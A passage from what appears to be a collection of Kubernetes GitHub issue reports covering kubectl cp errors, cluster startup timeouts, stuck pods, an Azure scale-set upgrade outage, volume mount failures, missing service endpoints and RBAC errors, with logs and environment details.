precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r try cp a file from host to pod like this:\r  kubectl cp /tmp/test-file test-pod:/ \r it ends with error \r \r > tar: .: cannot open: is a directory\r > tar: exiting with failure status due to previous errors\r > command terminated with exit code 2\r \r besides, when i try execute command like this:\r  kubectl cp /tmp/test-file test-pod: \r it causes a index out of range panic\r \r   what you expected to happen  :\r copy file successfully\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

this is on head of k8s/k8s/master.\r \r cluster/kube-up.sh on gce is failing cluster initialization with a timeout on the step:\r    \r waiting up to 500 seconds for cluster initialization.\r \r   this will continually check to see if the api for kubernetes is reachable.\r   this may time out if there was some uncaught error during start up.\r \r ....................................................................................................................................................................................................................................cluster failed to initialize within 500 seconds.\r last output from querying api server follows:\r -----------------------------------------------------\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl:  7  failed to connect to  redacted  port 443: connection refused\r    \r \r   /cc @msau42 also having the same issue

i discovered that the k8s.gcr.io/fluentd-elasticsearch:v2.2.0 image does not exist when i use the discovery cluster/addons/fluentd-elasticsearch/fluentd-es-ds.yaml template in the deployment efk.\r \r ! 20180622153331  https://user-images.githubusercontent.com/26085539/41763799-c6f4fada-7631-11e8-8c04-f63a3f34b43f.png \r \r  

 \r \r   what happened  :\r one  worker  node when oom and pods where evicted. before the node was \ saved\  the kernel oom-killed at least some of the running containers.\r \r the cluster came back to a save state, but a few pods got stuck in the state terminating.\r the issue / bug is, that there is no way to delete those pods via kubectl. i was able to remove the deployment and replica-set, but the pods still waited there \ terminating\ . \r \r only after i send a delete request via api using \r  '{\ kind\ :\ deleteoptions\ ,\ apiversion\ :\ v1\ ,\ propagationpolicy\ :\ background\ } \r \r the pods where deleted.\r \r also the kubelet on that node where the pod / container used to run was actively sending delete requests to the api with no luck. there are also \r \r i strongly believe there is some \ inconsistency\  in the data that \r \r   what you expected to happen  :\r \r the pods to be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i shall attach a pod object which i successfully deleted with propagationpolicy=background and i do have more pods in state terminating that i can get info off if need be.\r \r \r   anything else we need to know?  :\r \r the cluster was initially set up with kubernetes 1.8.4, updated along a few minor versions of 1.8.x and then upgraded to 1.9.7 recently.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: aws m5.2xlarge instances, container-linux, \r - os  e.g. from /etc/os-release : container linux by coreos stable  1745.7.0 \r - kernel  e.g.  uname -a  : linux ip-10-8-10-253.eu-central-1.compute.internal 4.14.48-coreos-r2  1 smp thu jun 14 08:23:03 utc 2018 x86_64 intel r  xeon r  platinum 8175m cpu @ 2.50ghz genuineintel gnu/linux\r

hey so automated rollbacks through kubernetes is done currently with only \ undo\  command with kubectl.\r \r is there is way kubernetes identifies the failed deployment and rollbacks automatically to previous running deployment by itself rather than passing the command kubectl rollout undo deploy/\r \r also with the command \ kubectl patch deployment/nginx-deployment -p '{\ spec\ :{\ progressdeadlineseconds\ :100}}\  kubernetes does not by default rolls back to previous success deployment after the new deployment fails and completes the progressdeadlineseconds to 100s\r \r can we make make kubernetes know to rollback by itself depending upon progressdeadlineseconds ?\r \r i have tried \  kubectl patch deployment/nginx-deployment -p '{\ spec\ :{\ spec.autorollback\ :true}}'\  which dint seem to work\r \r please provide me with solution if there is a way kubernetes can automatically rollback to previous successful deployment by itself.\r thank you\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.6\r \r - cloud provider or hardware configuration: om prem\r - os  e.g. from /etc/os-release :\r \r name=\ red hat enterprise linux server\ \r version=\ 7.5  maipo \ \r id=\ rhel\ \r - kernel  e.g.  uname -a  : x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r \r we have a v1.10.6 cluster hosted in azure  deployed with https://github.com/azure/acs-engine  using  vmss   for agent pool and we decided to change the vm size of the vmss instances for cost efficiency. the plan was:\r \r  - change the vmss vm size\r  - double the number of instances  the new instances being created with the new vm size \r  - drain the old instances\r  - upgrade the old instances to the new vm size\r  - scale down to the original number of nodes\r \r what actually appened:\r \r  - we changed the vmss vm size\r  - we doubled the number of instances\r  - kubernetes azure cloudprovider triggered a  manualupgrade  of the vmss leading to upgrading all the nodes not matching the new vm size\r  - all services hosted were down due to all the \ old nodes\  being stopped at the same time for upgrade\r \r here the azure audit log showing that the service principal used by the kubernetes cluster azure provider triggered the manual upgrade:\r    json\r {\r     \ authorization\ : {\r         \ action\ : \ microsoft.compute/virtualmachinescalesets/manualupgrade/action\ ,\r         \ scope\ : \ /subscriptions/<azure_subscription_id>/resourcegroups/k8s4-euw-dev-rg/providers/microsoft.compute/virtualmachinescalesets/k8s4-euw-dev-agent-vmss\ \r     },\r     \ caller\ : \ <some_id>\ ,\r     \ channels\ : \ operation\ ,\r     \ claims\ : {\r         \ aud\ : \ https://management.core.windows.net/\ ,\r         \ iss\ : \ https://sts.windows.net/<azure_tenant_id>/\ ,\r         \ iat\ : \ 1543571495\ ,\r         \ nbf\ : \ 1543571495\ ,\r         \ exp\ : \ 1543575395\ ,\r         \ aio\ : \ 42rgypg3vf3czm1pjrpl7kz8zfs/ewa=\ ,\r         \ appid\ : \ <k8s_azure_service_principal>\ ,\r         \ appidacr\ : \ 1\ ,\r         \ http://schemas.microsoft.com/identity/claims/identityprovider\ : \ https://sts.windows.net/<azure_tenant_id>/\ ,\r         \ http://schemas.microsoft.com/identity/claims/objectidentifier\ : \ <some_id>\ ,\r         \ http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier\ : \ <some_id>\ ,\r         \ http://schemas.microsoft.com/identity/claims/tenantid\ : \ <azure_tenant_id>\ ,\r         \ uti\ : \ dojt0ob3b0ov9ckoffxjaq\ ,\r         \ ver\ : \ 1.0\ \r     },\r     \ correlationid\ : \ c0ec14e9-0d68-4eed-ab97-6043a2dc50fd\ ,\r     \ description\ : \ \ ,\r     \ eventdataid\ : \ 00263b46-028d-498b-9264-ba94e20c1b84\ ,\r     \ eventname\ : {\r         \ value\ : \ endrequest\ ,\r         \ localizedvalue\ : \ end request\ \r     },\r     \ category\ : {\r         \ value\ : \ administrative\ ,\r         \ localizedvalue\ : \ administrative\ \r     },\r     \ eventtimestamp\ : \ 2018-11-30t10:09:31.1754255z\ ,\r     \ id\ : \ /subscriptions/<azure_subscription_id>/resourcegroups/k8s4-euw-dev-rg/providers/microsoft.compute/virtualmachinescalesets/k8s4-euw-dev-agent-vmss/events/00263b46-028d-498b-9264-ba94e20c1b84/ticks/636791693711754255\ ,\r     \ level\ : \ informational\ ,\r     \ operationid\ : \ c0ec14e9-0d68-4eed-ab97-6043a2dc50fd\ ,\r     \ operationname\ : {\r         \ value\ : \ microsoft.compute/virtualmachinescalesets/manualupgrade/action\ ,\r         \ localizedvalue\ : \ manual upgrade virtual machine scale set\ \r     },\r     \ resourcegroupname\ : \ k8s4-euw-dev-rg\ ,\r     \ resourceprovidername\ : {\r         \ value\ : \ microsoft.compute\ ,\r         \ localizedvalue\ : \ microsoft.compute\ \r     },\r     \ resourcetype\ : {\r         \ value\ : \ microsoft.compute/virtualmachinescalesets\ ,\r         \ localizedvalue\ : \ microsoft.compute/virtualmachinescalesets\ \r     },\r     \ resourceid\ : \ /subscriptions/<azure_subscription_id>/resourcegroups/k8s4-euw-dev-rg/providers/microsoft.compute/virtualmachinescalesets/k8s4-euw-dev-agent-vmss\ ,\r     \ status\ : {\r         \ value\ : \ accepted\ ,\r         \ localizedvalue\ : \ accepted\ \r     },\r     \ substatus\ : {\r         \ value\ : \ accepted\ ,\r         \ localizedvalue\ : \ accepted  http status code: 202 \ \r     },\r     \ submissiontimestamp\ : \ 2018-11-30t10:09:50.1545164z\ ,\r     \ subscriptionid\ : \ <azure_subscription_id>\ ,\r     \ properties\ : {\r         \ statuscode\ : \ accepted\ ,\r         \ servicerequestid\ : \ 03abebf2-7aaf-4195-8e21-fb9c2f48a861\ \r     },\r     \ relatedevents\ :   \r }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.6\r - cloud provider or hardware configuration: azure\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r dynamically update node machine information hugepages \r   why is this needed  :\r 1. sometimes, the kubelet is started before hugepages allocated. kubelet just only get huagepages once at startup. when kubelet started, huagepages allocation not completed, kubelet will get value 0 for hugepages.\r \r 2. in some other scenarios, we may need dynamically set hugepages 2mi  without reboot node. at this moment, kubelet can't update hugepages correctly.\r <!-- do not edit below this line -->\r   \r /area kubelet\r @kubernetes/sig-node-feature-requests

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r \r when creating a pod with the same toleration key  but different operators and values , the resulting pod will have double the number of tolerations expected.\r \r for example, spawning the pod  1  will result in the pod having the following tolerations  2 :\r \r     tolerations:     node-role.kubernetes.io/master:noschedule\r                      node-role.kubernetes.io/master=true:noschedule\r                      node-role.kubernetes.io/master:noschedule\r                      node-role.kubernetes.io/master=true:noschedule\r \r the pod still spawns and runs as expected.\r \r  1  https://paste.ubuntu.com/p/jjjbsdm2nm/\r  2  https://paste.ubuntu.com/p/wybgpnmrcx/\r \r   what you expected to happen  :\r \r the set of tolerations should be added only once, not twice.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     kubectl create -f tolerations.yaml     see  1 \r     kubectl describe -n test-ns po/test-pod\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.0-alpha.1\r - cloud provider or hardware configuration: n/a\r - os  e.g:  cat /etc/os-release  : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

this is mostly motivated by petset. currently we create a governing service that is responsible for the network identity of each pet. the requirements of this governing service differ from a normal service in the following ways: 1. pets have internal protocols to notice peer health, and a list of different checks  eg: http://www.cloudera.com/documentation/enterprise/5-4-x/topics/cm_ht_zookeeper_server.html . in kube, peers use dns to communicate. so we don't want a readiness check failure to remove the pet from dns and abruptly cut it off from the set.  2. the \ governing service\  is headless so kube-proxy doesn't need to nat the service ip. 3. clients will not be using this service, so it doesn't matter that unready pets show up in dns under the svcname sub domain.  in addition to these, there's one important reason some pets need to have dns before readiness. to provide the guarantees required to safely bootstrap a pet, we need:     1. pet0 starts before pet1.. 2. don't start pet1 till pet0 is running/ready 3. when pet1 starts, it sees pet0 in dns  the easiest way to guarantee 3 today is to do one of:     - poll in the entrypoint of pet0, till it sees itself - poll in the init container of pet0, till it sees itself  - poll in the init containers of pet {1..n-1} till it sees all previous pets  third option is not a great idea because we don't know who else is supposed to exist, and for the first 2 to work with a readiness probe, we need a dns record before the service is ready.

hi all, does anybody have ever encounter a situation that you want two or more ports in one pod. this issue  is about to propose a suggestion, which creates multi-ports for the pods.  ---    problem description  many services in some usage scenarios need multi-network plane, different data plane or management plane. however, k8s can't afford multi-network for the pods, each container in the cluster could communicate with each, by using the multi-network plane, we could afford the isolation in the pods.  ---    proposed change  change pod yaml format add \ containernet\  property in ports field  ports: - containernet：net1   containerport: 80   protocol: tcp - containernet：net2   containerport: 81   protocol: tcp  related service: kubelet, network plugin  because in some applications, we need more than one ports, and hope that pods with different network could not communicate each other. hope much feadback. thks.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/12470/  failed:  k8s.io  kubectl client  k8s.io  kubectl label should update the label on a resource  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:674 expected error:     < errors.errorstring | 0xc820897090>: {         s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.155.167.84 --kubeconfig=/workspace/.kube/config get pods -l name=pause --namespace=e2e-tests-kubectl-u8uo9 -o go-template={{ range .items }}{{ if not .metadata.deletiontimestamp }}{{ .metadata.name }}{{ \\\ \\\ \\\  }}{{ end }}{{ end }}      <nil>  failed to find client for version v1: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.\     <nil> 0xc8202242c0 exit status 1 <nil> true  0xc8201b8278 0xc8201b8290 0xc8201b82a8   0xc8201b8278 0xc8201b8290 0xc8201b82a8   0xc8201b8288 0xc8201b82a0   0xabb980 0xabb980  0xc8202024e0}:\ command stdout:\ \ stderr:\ failed to find client for version v1: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.155.167.84 --kubeconfig=/workspace/.kube/config get pods -l name=pause --namespace=e2e-tests-kubectl-u8uo9 -o go-template={{ range .items }}{{ if not .metadata.deletiontimestamp }}{{ .metadata.name }}{{ \ \ \  }}{{ end }}{{ end }}      <nil>  failed to find client for version v1: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.         <nil> 0xc8202242c0 exit status 1 <nil> true  0xc8201b8278 0xc8201b8290 0xc8201b82a8   0xc8201b8278 0xc8201b8290 0xc8201b82a8   0xc8201b8288 0xc8201b82a0   0xabb980 0xabb980  0xc8202024e0}:     command stdout:      stderr:     failed to find client for version v1: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.      error:     exit status 1  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2006      previous issues for this test:  28493

below are a couple of suggestions to improve the component configuration code, based on lessons we've learned in openshift.    group related options together  as mentioned  here  https://github.com/kubernetes/kubernetes/pull/13146 issuecomment-153013521 , we've found that it's easier to group related items together. for example, instead of having      yaml kind: kubecontrollermanagerconfiguration version: v1alpha1 concurrentrssyncs: 2 lookupcachesizeforrs: 500      you could have this:      yaml kind: kubecontrollermanagerconfiguration version: v1alpha1 replicasets:   workers: 2   cachesize: 500      this has the added advantage that similar \ types\  of settings can look quite similar; for example, you could have all of the various controllers that have a configurable number of workers and cache size use the consistent keys  workers  and  cachesize .    separate structs for flags, serializable config, and runtime config  just like in kubernetes going forward, in openshift, we want to minimize the number of command-line flags you have to specify to run a component. we also want to be able to serialize configuration to/from disk. and we want to be able to take the deserialized configuration, apply various transformations to it, resulting in a runtime configuration that can be used to run a component. let's take a look at some examples to highlight the reasoning behind why we think it's necessary to have three different structs for configuration.     struct for flags  openshift has a   masterargs   https://github.com/openshift/origin/blob/de0ae2d896d072305dc9c6fc61c8abb956ae53b3/pkg/cmd/server/start/master_args.go l31-l80  struct that holds fields into which command-line flag values are stored. this isn't meant to be an exhaustive list of every possible configuration setting; instead, its purpose is to hold \ just enough\  flags to be able to start up a master server. some of the flags we support include the host & port for the master, the etcd server url, a list of additional certificate authorities to trust, and cors allowed origins.  you can start openshift without setting any of these flags, as we provide sensible defaults for them. you can also choose to customize some flags, but again the list of flags is minimal. if you want to tweak anything else, you have to invoke openshift and instruct it to write out a config file, which you can then edit   openshift start --write-config=/path/to/config/dir  .     struct for serializable configuration  the config file generated above is the serialized representation of a second struct used for configuration  openshift's   pkg/cmd/server/api/v1.masterconfig   https://github.com/openshift/origin/blob/de0ae2d896d072305dc9c6fc61c8abb956ae53b3/pkg/cmd/server/api/v1/types.go l153  . this contains the full set of options neeeded to configure the component. it must be possible to populate this struct from the values specified in a config file. once the config struct is populated, it is transformed into a struct used at runtime to run the component.     struct used at runtime  the struct used at runtime  e.g.   pkg/cmd/server/origin.masterconfig   https://github.com/openshift/origin/blob/de0ae2d896d072305dc9c6fc61c8abb956ae53b3/pkg/cmd/server/origin/master_config.go l92   is not designed to be serializable. it is meant to hold information in the most appropriate format for execution. this means it has fields of types such as  admission.interface ,  restclient.config , and  storage.interface , to name a few. these unserializable types are instantiated using the settings from the struct containing the serializable configuration details.  xref  12245  cc @mikedanese @bgrant0607 @liggitt @sttts @smarterclayton @dgoodwin @timstclair @pmorie

if not using kubenet, but using \ classic\  networking, kubelet fails to start on k8s 1.4  kubelet is waiting for docker to start:      sep 29 21:02:05 ip-172-20-99-157 kubelet 4077 : e0929 21:02:05.727512    4077 docker_manager.go:238  failed to execute info   call to the docker client: an error occurred trying to connect: get http://%2fvar%2frun%2fdocker.sock/info: read unix @->/var/run/docker.sock: read: connection reset by peer      docker is waiting for kubelet to create cbr0:      sep 29 21:01:53 ip-172-20-99-157 docker 4030 : time=\ 2016-09-29t21:01:53.379504146z\  level=fatal msg=\ error starting daemon: error initializing network controller: error creating default \\\ bridge\\\  network: bridge device with non default name cbr0 must be created manually\       cc @thockin   either i'm doing something wrong or we need to document that non-kubenet is no longer supported.

currently we have a custom setup on debian image, which can have different performance characteristic. we need to increase kubemark precision as we're approaching a point when it'll start to matter.\r \r cc @kubernetes/sig-scalability @wojtek-t

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : container-os\r -   kernel    e.g.  uname -a  : linux gke-wordpress-cluster-default-pool-b41e0322-m764 4.4.21+  1 smp fri feb 17 15:34:45 pst\r  2017 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r    \r warning\t\tfailedmount\tunable to mount volumes for pod \ wordpress-4199438522-50xjb_default 5603b982-0ef2-11e7-9fd7-42010a80002d \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ wordpress-4199438522-50xjb\ . list of unattached/unmounted volumes= wordpress-persistent-storage \r   50s\t\t50s\t\t1\t{kubelet gke-wordpress-cluster-default-pool-b41e0322-m764}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ wordpress-4199438522-50xjb\ . list of unattached/unmounted volumes= wordpress-persistent-storage \r     \r \r i was able to bring up wordpress okay the first time, except gke wasn't creating loadbalancer ips due to a quota issue, which i resolved, note at this point the mysql pod was up and had attached to it's volume. upon deleting the wordpress deployment and creating it again i started getting the above errors. i deleted the mysql pod as well and brought it up again to see that it had the same issue.\r \r the volumes are backed by a gluster cluster on gce. looking at the brick logs on one of the gluster nodes i see\r \r    \r  2017-03-22 09:42:14.354542  i  msgid: 115029   server-handshake.c:612:server_setvolume  0-gluster_vol-1-server: accepted client from gluster-1-7439-2017/03/22-09:42:10:325146\r -gluster_vol-1-client-0-0-0  version: 3.7.6 \r  2017-03-22 09:42:46.355221  i  msgid: 115029   server-handshake.c:612:server_setvolume  0-gluster_vol-1-server: accepted client from gke-wordpress-cluster-default-pool-b41e03\r 22-m764-2447-2017/03/22-09:42:46:301893-gluster_vol-1-client-0-0-0  version: 3.7.6 \r  2017-03-22 09:42:57.316248  i  msgid: 115029   server-handshake.c:612:server_setvolume  0-gluster_vol-1-server: accepted client from gke-wordpress-cluster-default-pool-b41e03\r 22-m764-2730-2017/03/22-09:42:57:272881-gluster_vol-1-client-0-0-0  version: 3.7.6 \r  2017-03-22 10:03:29.117920  i  msgid: 115036   server.c:552:server_rpc_notify  0-gluster_vol-1-server: disconnecting connection from gke-wordpress-cluster-default-pool-b41e03\r 22-m764-2730-2017/03/22-09:42:57:272881-gluster_vol-1-client-0-0-0\r  2017-03-22 10:03:29.117984  i  msgid: 101055   client_t.c:419:gf_client_unref  0-gluster_vol-1-server: shutting down connection gke-wordpress-cluster-default-pool-b41e0322-m7\r 64-2730-2017/03/22-09:42:57:272881-gluster_vol-1-client-0-0-0\r  2017-03-22 10:45:53.074843  i  msgid: 115036   server.c:552:server_rpc_notify  0-gluster_vol-1-server: disconnecting connection from gke-wordpress-cluster-default-pool-b41e03\r 22-m764-2447-2017/03/22-09:42:46:301893-gluster_vol-1-client-0-0-0\r  2017-03-22 10:45:53.074905  i  msgid: 115013   server-helpers.c:294:do_fd_cleanup  0-gluster_vol-1-server: fd cleanup on /mysql/ib_logfile1\r  2017-03-22 10:45:53.074942  i  msgid: 115013   server-helpers.c:294:do_fd_cleanup  0-gluster_vol-1-server: fd cleanup on /mysql/ib_logfile0\r  2017-03-22 10:45:53.074997  i  msgid: 115013   server-helpers.c:294:do_fd_cleanup  0-gluster_vol-1-server: fd cleanup on /mysql/ibdata1\r  2017-03-22 10:45:53.075112  i  msgid: 101055   client_t.c:419:gf_client_unref  0-gluster_vol-1-server: shutting down connection gke-wordpress-cluster-default-pool-b41e0322-m7\r 64-2447-2017/03/22-09:42:46:301893-gluster_vol-1-client-0-0-0\r    \r \r i've tried restarting kubelet on the node. i can't find the kubelet log file on any of gke nodes. and i don't know how to get the kube-controller and  apiserver logs from the master  gke .\r \r i suspect it's a failing of the glusterfs client on the gke nodes?\r \r   what you expected to happen  :\r deployment to mount the volumes successfully.\r \r   how to reproduce it    as minimally and precisely as possible :\r not sure how, but i've run into this intermittently\r \r   anything else we need to know  :\r the volumes are backed by gluster\r

test: basic statefulset functionality  statefulsetbasic  scaling down before scale up is finished should wait until current pod will be running and ready before it will be removed\r \r \r  jenkins log  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster/7 k8sio-statefulset-k8sio-basic-statefulset-functionality-statefulsetbasic-scaling-down-before-scale-up-is-finished-should-wait-until-current-pod-will-be-running-and-ready-before-it-will-be-removed    search for test string \r \r  history  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster/ \r \r  /assign @lavalamp \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : service endpoints missing\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.2 \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1353.8.0\r version_id=1353.8.0\r build_id=2017-05-30-2322\r pretty_name=\ container linux by coreos 1353.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r    \r \r -   kernel    e.g.  uname -a  :  4.9.24-coreos \r -   install tools  : manual\r -   others  :\r \r \r \r   what happened  :\r \r service in  kube-system  namespace sees no endpoints that are available\r \r \r   what you expected to happen  : for it to see available endpoints\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r not sure i can. it appeared on the latest remove/replace of worker nodes, but was fine before\r \r \r   anything else we need to know  :\r \r i have a traefik ingress controller defined and a service for it:\r \r    \r $ kubectl describe service traefik-ingress-controller -n kube-system\r name:\t\t\ttraefik-ingress-controller\r namespace:\t\tkube-system\r labels:\t\t\tapp=traefik-ingress-controller\r annotations:\t\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ app\ :\ traefik-ingress-controller\ },\ name\ :\ traefik-ingress-controller\ ,\ nam...\r selector:\t\tname=traefik-ingress-lb\r type:\t\t\tnodeport\r ip:\t\t\t10.200.177.150\r port:\t\t\thttp\t80/tcp\r nodeport:\t\thttp\t30080/tcp\r endpoints:\r port:\t\t\thttps\t443/tcp\r nodeport:\t\thttps\t30443/tcp\r endpoints:\r session affinity:\tnone\r events:\t\t\t<none>\r \r $ kubectl -n kube-system get pod --selector=name=traefik-ingress-lb\r name                               ready     status    restarts   age\r traefik-ingress-controller-8vlms   1/1       running   0          1h\r traefik-ingress-controller-c81cq   1/1       running   0          1h\r traefik-ingress-controller-s51mq   1/1       running   0          59m\r    \r \r selectors match, the pods are running just fine, yet the endpoints do not show up.\r \r i suspect if i delete the service and recreate it, it probably will pick it up, but i shouldn't have to, and am concerned it might occur again; rather actually debug it.\r \r how can i check what kube is doing to affiliate it? how often does it check? where?

is this a bug report or feature request?  :\r  \r \r   what happened  :\r ran hack/local-up-cluster.sh using the latest code from the master. after the local cluster is up, check /tmp/kubelet.log.  it has the following errors:\r \r i0731 16:28:41.786486   12184 empty_dir.go:256  pod 4d7ce016-760d-11e7-9ab2-fa163e060fcc: mounting tmpfs for volume wrapped_kube-dns-token-j73mf\r i0731 16:28:41.786503   12184 mount_linux.go:118  mounting cmd  mount  with arguments   -t tmpfs tmpfs /var/lib/kubelet/pods/4d7ce016-760d-11e7-9ab2-fa163e060fcc/volumes/kubernetes.io~secret/kube-dns-token-j73mf  \r e0731 16:28:41.789256   12184 configmap.go:202  couldn't get configmap kube-system/kube-dns: configmaps \ kube-dns\  is forbidden: user \ system:node:127.0.0.1\  cannot get configmaps in the namespace \ kube-system\ .: \ no path found to object\ \r e0731 16:28:41.789399   12184 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/4d7ce016-760d-11e7-9ab2-fa163e060fcc-kube-dns-config\\\   \\\ 4d7ce016-760d-11e7-9ab2-fa163e060fcc\\\  \  failed. no retries permitted until 2017-07-31 16:28:42.289363623 +0000 utc  durationbeforeretry 500ms . error: mountvolume.setup failed for volume \ kube-dns-config\   uniquename: \ kubernetes.io/configmap/4d7ce016-760d-11e7-9ab2-fa163e060fcc-kube-dns-config\   pod \ kube-dns-4124969034-6jgbh\   uid: \ 4d7ce016-760d-11e7-9ab2-fa163e060fcc\   : configmaps \ kube-dns\  is forbidden: user \ system:node:127.0.0.1\  cannot get configmaps in the namespace \ kube-system\ .: \ no path found to object\ \r i0731 16:28:41.789500   12184 server.go:347  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-dns-4124969034-6jgbh\ , uid:\ 4d7ce016-760d-11e7-9ab2-fa163e060fcc\ , apiversion:\ v1\ , resourceversion:\ 238\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' mountvolume.setup failed for volume \ kube-dns-config\  : configmaps \ kube-dns\  is forbidden: user \ system:node:127.0.0.1\  cannot get configmaps in the namespace \ kube-system\ .: \ no path found to object\ \r e0731 16:28:41.794305   12184 secret.go:201  couldn't get secret kube-system/kube-dns-token-j73mf: secrets \ kube-dns-token-j73mf\  is forbidden: user \ system:node:127.0.0.1\  cannot get secrets in the namespace \ kube-system\ .: \ no path found to object\ \r e0731 16:28:41.794511   12184 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/secret/4d7ce016-760d-11e7-9ab2-fa163e060fcc-kube-dns-token-j73mf\\\   \\\ 4d7ce016-760d-11e7-9ab2-fa163e060fcc\\\  \  failed. no retries permitted until 2017-07-31 16:28:42.294451161 +0000 utc  durationbeforeretry 500ms . error: mountvolume.setup failed for volume \ kube-dns-token-j73mf\   uniquename: \ kubernetes.io/secret/4d7ce016-760d-11e7-9ab2-fa163e060fcc-kube-dns-token-j73mf\   pod \ kube-dns-4124969034-6jgbh\   uid: \ 4d7ce016-760d-11e7-9ab2-fa163e060fcc\   : secrets \ kube-dns-token-j73mf\  is forbidden: user \ system:node:127.0.0.1\  cannot get secrets in the namespace \ kube-system\ .: \ no path found to object\ \r i0731 16:28:41.794538   12184 server.go:347  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-dns-4124969034-6jgbh\ , uid:\ 4d7ce016-760d-11e7-9ab2-fa163e060fcc\ , apiversion:\ v1\ , resourceversion:\ 238\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' mountvolume.setup failed for volume \ kube-dns-token-j73mf\  : secrets \ kube-dns-token-j73mf\  is forbidden: user \ system:node:127.0.0.1\  cannot get secrets in the namespace \ kube-system\ .: \ no path found to object\ \r \r \r trying to create a pod using \ kubectl.sh create -f <pod yaml file>\  resulted in pod in containercreating status.\r \r   what you expected to happen  :\r there should not be \ forbidden\  errors in kubelet.log.\r should be 